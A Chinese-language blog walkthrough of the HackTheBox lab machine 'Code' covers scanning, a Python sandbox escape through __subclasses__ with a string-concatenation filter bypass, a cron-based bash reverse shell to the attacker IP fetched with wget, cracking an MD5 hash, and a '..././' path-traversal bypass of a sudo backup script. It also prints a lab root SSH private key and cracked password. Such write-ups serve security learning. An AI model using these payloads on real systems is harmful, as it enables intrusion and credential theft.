HTB靶机 Code 渗透测试记录

misaka19008 发布于 2025-03-23 83 次阅读 3525 字



目标信息

IP地址:10.10.11.62


信息收集

ICMP检测

PING 10.10.11.62 (10.10.11.62) 56(84) bytes of data.
64 bytes from 10.10.11.62: icmp_seq=1 ttl=63 time=831 ms
64 bytes from 10.10.11.62: icmp_seq=2 ttl=63 time=661 ms
64 bytes from 10.10.11.62: icmp_seq=3 ttl=63 time=284 ms
64 bytes from 10.10.11.62: icmp_seq=4 ttl=63 time=285 ms

--- 10.10.11.62 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 283.838/515.127/831.080/238.587 ms

攻击机和靶机间的网络连接状态正常。

防火墙检测

# Nmap 7.95 scan initiated Sun Mar 23 08:01:30 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.10.11.62
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.29s latency).
All 65535 scanned ports on code.htb (10.10.11.62) are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

# Nmap done at Sun Mar 23 08:02:16 2025 -- 1 IP address (1 host up) scanned in 45.68 seconds

无法确定靶机防火墙状态。

网络端口扫描

TCP端口扫描结果

# Nmap 7.95 scan initiated Sun Mar 23 08:04:47 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.10.11.62
Warning: 10.10.11.62 giving up on port because retransmission cap hit (10).
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.26s latency).
Not shown: 33602 filtered tcp ports (no-response), 31931 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   282.03 ms 10.10.14.1
2   282.21 ms code.htb (10.10.11.62)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 23 08:07:30 2025 -- 1 IP address (1 host up) scanned in 163.30 seconds

UDP端口开放列表扫描结果

# Nmap 7.95 scan initiated Sun Mar 23 08:08:52 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.10.11.62
Warning: 10.10.11.62 giving up on port because retransmission cap hit (10).
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.30s latency).
All 65535 scanned ports on code.htb (10.10.11.62) are in ignored states.
Not shown: 65289 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)

# Nmap done at Sun Mar 23 08:12:55 2025 -- 1 IP address (1 host up) scanned in 242.48 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机操作系统为Ubuntu Linux,在5000/tcp端口部署了Python Web服务。根据HackTheBox规则,靶机域名为code.htb


服务探测

SSH服务(22端口)

端口Banner

┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/code]
└─# nc -nv 10.10.11.62 22 
(UNKNOWN) [10.10.11.62] 22 (ssh) open
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12

Web应用程序(5000端口)

打开主页:http://code.htb:5000/

发现网页部署了一个在线Python代码运行系统。尝试运行os.system()方法,发现一些危险字符被探测了:

通过尝试,发现程序过滤了大量Python类库的名称和关键字,包括但不限于popenevalosimportsubprocesssystem等等。

渗透测试

在对靶机在线Python代码运行器的服务探测过程中,发现该Web代码运行器过滤了大量Python类库、函数名称和关键字。对于这种情况,只能通过获取Python所有对象的基类,随后使用__subclasses__()方法访问包含os类库的危险类,并通过字符串列表索引的方式调用Python的命令执行函数。通常,我们使用如下Python代码获取Python环境中加载的所有类库:

print([].__class__.__base__.__subclasses__())

成功获取加载类列表!接下来,我们需要编写脚本,将每一个类的名称下载并保存到数组中,然后寻找包含os库的类库。一般情况下,我们可以利用warnings.catch_warnings类执行os.popen函数。该类库调用了os类库。

首先确定HTTP请求包的内容,使用BurpSuite拦截该网络请求:

发现接收并执行Python代码的端点为/run_code,传递代码的HTTP POST参数为code

直接编写如下Python脚本:

#!/usr/bin/python3
import json
import requests

url = "http://code.htb:5000/run_code"
header = {
    "Host": "code.htb:5000",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Accept": "*/*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "X-Requested-With": "XMLHttpRequest",
    "Origin": "http://code.htb:5000",
    "Connection": "keep-alive",
    "Referer": "http://code.htb:5000/",
    "Priority": "u=0"
}
data = {"code": "print([].__class__.__base__.__subclasses__())"}

classlist = json.loads(requests.post(url=url, headers=header, data=data).text)["output"].strip("n]").strip("[").split(", ")
for i in range(0, len(classlist)):
    classlist[i] = classlist[i].strip("<class '").strip("'>")
for i in range(0, len(classlist)):
    if "warnings.catch_warnings" in classlist[i]:
        print("[+] Found class: %s, Index = %d" %(classlist[i], i))

该脚本向靶机在线代码运行器提交获取Python环境中所有类库的代码,并根据逗号将响应内容分割为数组,随后使用strip()方法将多余的字符删除,最后在数组内查找warnings.catch_warnings字符串:

成功发现warnings.catch_warnings类库在靶机Python基类__subclasses__()方法返回数组中的索引:139

直接执行如下代码,加载os.popen函数,运行id命令。对于被过滤的关键字和函数名,可以使用+号拼接字符串进行绕过:

print([].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("id").rea'+'d()'))

成功执行id命令!接下来我们可以通过添加Linux计划任务后门的方式来接收反弹Shell。首先在本地编写恶意计划任务配置文件revshell_cron.txt

*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.13/443 0>&1'

随后在本地启动SimpleHTTPServerNetCat监听,使用在线代码运行器执行wget命令下载恶意配置文件,并通过crontab系统命令添加计划任务:

[].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("wget http://10.10.14.13/revshell_cron.txt -O /tmp/revshell_cron.txt").rea'+'d()')
[].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("cat /tmp/revshell_cron.txt | crontab").rea'+'d()')
print([].__class__.__base__.__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("crontab -l").rea'+'d()'))

添加成功!!

等待一分钟后,接收到反弹Shell


权限提升

移动至martin用户

进入系统后,执行目录信息收集。在/home/app-production/app/instance目录下发现SQLite数据库文件database.db

同时查看Python Web应用程序代码:/home/app-production/app/app.py

from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib

app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password = db.Column(db.String(80), nullable=False)
    codes = db.relationship('Code', backref='user', lazy=True)

class Code(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)
    name = db.Column(db.String(100), nullable=False)

    def __init__(self, user_id, code, name):
        self.user_id = user_id
        self.code = code
        self.name = name

@app.route('/')
def index():
    code_id = request.args.get('code_id')
    return render_template('index.html', code_id=code_id)

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        existing_user = User.query.filter_by(username=username).first()
        if existing_user:
            flash('User already exists. Please choose a different username.')
        else:
            new_user = User(username=username, password=password)
            db.session.add(new_user)
            db.session.commit()
            flash('Registration successful! You can now log in.')
            return redirect(url_for('login'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        user = User.query.filter_by(username=username, password=password).first()
        if user:
            session['user_id'] = user.id
            flash('Login successful!')
            return redirect(url_for('index'))
        else:
            flash('Invalid credentials. Please try again.')
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    flash('You have been logged out.')
    return redirect(url_for('index'))

@app.route('/run_code', methods=['POST'])
def  run_code():
    code = request.form['code']
    old_stdout = sys.stdout
    redirected_output = sys.stdout = io.StringIO()
    try:
        for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
            if keyword in code.lower():
                return jsonify({'output': 'Use of restricted keywords is not allowed.'})
        exec(code)
        output = redirected_output.getvalue()
    except Exception as e:
        output = str(e)
    finally:
        sys.stdout = old_stdout
    return jsonify({'output': output})

@app.route('/load_code/<int:code_id>')
def load_code(code_id):
    if 'user_id' not in session:
        flash('You must be logged in to view your codes.')
        return redirect(url_for('login'))
    code = Code.query.get_or_404(code_id)
    if code.user_id != session['user_id']:
        flash('You do not have permission to view this code.')
        return redirect(url_for('codes'))
    return jsonify({'code': code.code})

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' not in session:
        return jsonify({'message': 'You must be logged in to save code.'}), 401
    user_id = session['user_id']
    code = request.form.get('code')
    name = request.form.get('name')
    if not code or not name:
        return jsonify({'message': 'Code and name are required.'}), 400
    new_code = Code(user_id=user_id, code=code, name=name)
    db.session.add(new_code)
    db.session.commit()
    return jsonify({'message': 'Code saved successfully!'})

@app.route('/codes', methods=['GET', 'POST'])
def codes():

    if 'user_id' not in session:
        flash('You must be logged in to view your codes.')
        return redirect(url_for('login'))

    user_id = session['user_id']
    codes = Code.query.filter_by(user_id=user_id).all()

    if request.method == 'POST':
        code_id = request.form.get('code_id')
        code = Code.query.get(code_id)
        if code and code.user_id == user_id:
            db.session.delete(code)
            db.session.commit()
            flash('Code deleted successfully!')
        else:
            flash('Code not found or you do not have permission to delete it.')
        return redirect(url_for('codes'))     
    return render_template('codes.html',codes=codes)

@app.route('/about')
def about():
    return render_template('about.html')

if __name__ == '__main__':
    if not os.path.exists('database.db'):
        with app.app_context():
            db.create_all()
    app.run(host='0.0.0.0', port=5000)

发现用户密码使用的哈希摘要算法为MD5。直接将database.db文件通过scp工具传输到攻击机上,使用sqlitebrowser工具打开user表:

发现martin用户的哈希值为3de6f30c4a09c27fc71932bfc68474be,使用hashcat破解:

.hashcat.exe -m 0 -a 0 "3de6f30c4a09c27fc71932bfc68474be" .rockyou.txt --force

成功发现如下用户凭据:

  • 用户名:martin
  • 密码:nafeelswordsmaster

直接登录SSH

成功!

Sudo Backy工具备份root目录

登录martin用户后,执行sudo -l命令查看当前用户sudo权限:

发现当前用户可以root用户权限免密运行/usr/bin/backy.sh脚本。脚本内容如下:

#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\.\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

发现脚本接收一个指向JSON配置文件的命令行参数,随后定义allowed_paths数组,内容为/var//home/,接着使用jq命令打开JSON文件,定位到JSON数组directories_to_archive处,将该子数组内字符串中所有的../字符串删除后进行保存并重新读入数组directories_to_archive。完成上述操作后,脚本通过is_allowed_path()函数,判断数组directories_to_archive内的路径字符串开头是否为/var//home/,如条件符合,则调用/usr/bin/backy,传入经处理的JSON配置文件,否则直接报错退出。

下面来研究backy程序。我们尝试直接执行backy命令,查看程序的基本信息:

通过联网搜索,成功确定程序GitHub地址:vdbsh/backy: tiny multiprocessing utility for file backups

发现该程序为一个轻量化的目录备份工具,需要接收一份JSON配置文件作为备份设置使用。查看martin用户家目录,发现存在子目录/home/martin/backups/,目录内存在task.json文件和一个~/app目录的压缩包:

推测task.jsonBacky工具的备份设置文件,内容如下:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

根据文件内容,可确定destination参数作用为设置压缩包保存路径,directories_to_archive数组参数的作用为指定需要备份的目录。

综合上述内容进行分析,发现backy.sh脚本在处理JSON配置文件directories_to_archive数组内字符串参数时,只使用jq命令对../目录穿越符号进行了删除,而不是在检测到该符号后就报错退出;在处理结束后,只检查了新覆盖的JSON配置文件内directories_to_archive数组的绝对路径参数时,只检查了开头是否为/var/或者/home/,而未检查字符串内是否还存在../目录穿越符号,导致真实路径和文件内的路径存在差异。如此一来,只需要在../符号中间再插入一个../符号,即可进行过滤词双写绕过。

比如,备份目标目录为/root,则如果路径以/home/为开头,相对路径就为/home/../root,双写绕过的目录字符串就为/home/..././root

我们直接创建目录/home/martin/misaka目录,在目录内创建如下sparkle.json配置文件:

{
        "destination": "/home/martin/misaka",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/..././root"
        ]
}

随后执行命令(JSON文件路径必须为绝对路径):

sudo backy.sh /home/martin/misaka/sparkle.json

成功备份/root目录!直接使用scp工具下载压缩包,打开/root/.ssh目录查看:

成功发现root用户的SSH私钥文件:

-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----

直接使用该私钥登录SSH

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2025-05-18